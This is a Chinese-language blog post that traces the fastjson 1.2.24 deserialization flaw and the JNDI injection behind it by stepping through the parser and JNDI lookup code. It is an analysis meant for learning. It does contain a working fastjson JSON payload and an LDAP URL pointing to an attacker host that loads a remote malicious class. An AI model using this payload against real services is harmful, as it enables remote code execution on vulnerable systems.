fastjson1.2.24反序列化jndi注入利用调试跟进
一直对jndi注入只有个大概的认识,今天学习一下原理,从fj反序列化漏洞入手调试学习
Payload
1 |
|
前面参数传递省略,分两个部分跟进
0x01.Fastjson反序列化实现流程跟进
当参数第一个字符为{
时进入case 12
跟进DefaultJSONParser.parseObject
随后判断参数如果{的后面是双引号,就使用scanSymbol
方法获取双引号里的内容
跟进JSONLexerBase.scanSymbol
开始获取双引号里的内容,扫描传来的值获取keyKey
为@type
回到JSONLexerBase.scanSymbol
具体为计算长度,根据长度来获取对应位置的字符,在JSONScanner.next
方法中index为双引号开始部分,经过不断遍历,此时index为7,也就是扫描从双引号开始第7位字符的符号,
再次得到双引号,符合条件跳出循环
最终拿到双引号里的@type
符合条件后进入下一步
开始扫描下一个双引号里的字符
经过像上一步一样的操作最终得到com.sun.rowset.JdbcRowSetImpl
返回上一层进入下一步
此处为取得一些基础类,进入loadclass
方法
mappings是当前类加载器的缓存(相当于是一个容器,classname是key,根据key从容器取出class对象),此处想要从缓存里取出com.sun.rowset.JdbcRowSetImpl
,但是mappings
不存在这个对象
所以开始下一步的判断,从获取到的ClassName
看到第一位字符为c,所以绕过第一个及第二个if进入到tryClassloader
为空不满足条件,继续下一个try
将com.sun.rowset.JdbcRowSetImpl
一系列操作后缓存到mappings
里,此时clazz
为com.sun.rowset.JdbcRowSetImpl
,满足前面clazz
不为空的条件
即
然后通过getDeserializer
方法得到clazz对象所有参数
跟进getDeserializer
往下走
在getFieId
方法里会使用到反射加载的方式来获取对象的set
、get
方法
获取完对象后开始反序列化
总结流程为:
遍历传入的json,取出对应的内容(对象、对象参数)->获取取出的对象的所有set、get方法->根据取得的内容做反序列化
0x02.Jndi注入跟进
流程走到com.sun.rowset.JdbcRowSetImpl#connect
这里的参数dataSourceName
是在前面反序列化时反射加载得到的setter
方法setDataSourceName(String name)
中设置的,由于可控所以满足jndi注入的条件,此时dataSourceName
的值为前面传来的ldap://192.168.43.147:1389/o=reference
,再用lookup
查找传来的数据源从而进行调用
跟进lookup方法看具体实现
1 |
|
getURLOrDefaultInitCtx
函数会分析传来的name
的协议头然后返回对应协议的Context
对象子类,然后在对应协议处理对象中去lookup
搜索
跟进getURLOrDefaultInitCtx
1 |
|
跟进getURLContext
查看对协议的处理
1 |
|
此处协议是ldap所以返回GenericURLDirContext
对象的子类ldapURLContext
,继续跟进lookup
1 |
|
往上跟到父类的lookup
1 |
|
具体链为
1 |
|
回到lookup
方法,
调用注册中心的lookup
方法去查找传来的name
(此处的remainingName
即传来的恶意类)
流程走到
1 |
|
获取对象实例,跟进getObjectInstance
1 |
|
由于javax.naming.spi.NamingManager#getObjectFactoryBuilder
的属性为null,所以跳过此处判断
回到DirectoryManager
类,往下走
判断refinfo
是否为Reference
的实例对象,将恶意类封装到ref
中
,往下走
,获取封装到ref
对象的类名,随后到Reference
里加载传来的ref
,跟进getObjectFactoryFromReference
查看具体实现
1 |
|
尝试从本地加载Factory
类:
如果本地不存在此类,则会从codebase
中加载:
跟进loadclass
方法,
1 |
|
这是一个抽象类,由于抽象类不能被直接实例化,所以我们跟进到他的子类的loadclass
方法
1 |
|
进入到forname
1 |
|
由于security
属性为null
所以跳过安全检查直接返回对象
回到VersionHelpe12#loadclass
,最后通过URLClassLoader
从远程动态加载恶意类:
此处的getUrlArray
方法为父类的解析实现
1 |
|
回到Javax.naming.spi.NamingManager#getObjectFactoryFromReference
实例化URLClassLoader
从远程动态加载的恶意类,从而加载恶意代码触发命令:
实例化调用链如下
1 |
|
总结流程为:
获取数据源->获取参数协议头,根据获取的协议进入对应的处理方法->加载factory对象->实例化获取的对象
总结fastjson漏洞原理:
fastjson是根据json内容转为对应的javabean,即fastjson会取得json中的类及类的参数进行反序列化,由于json可控,攻击者可以自定义类及类的参数,所以fastjson在获取攻击者传入的对象的set、get方法时会根据攻击者传入的json来进行设定set方法的值,最后在反序列化时触发漏洞。拿jndi注入来说,攻击者传入json内容{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.83.11:1389/o=tomcat","autoCommit":true}
,fastjson首先会取得JdbcRowSetImpl类,在取JdbcRowSetImpl类的所有set、get方法时会将数据源ldap://192.168.83.11:1389/o=tomcat当作setDataSourceName的值来设定,最后在还原成JdbcRowSetImpl时就会去加载该数据源从而加载远程恶意类达到攻击目的。
参考
声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。
Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.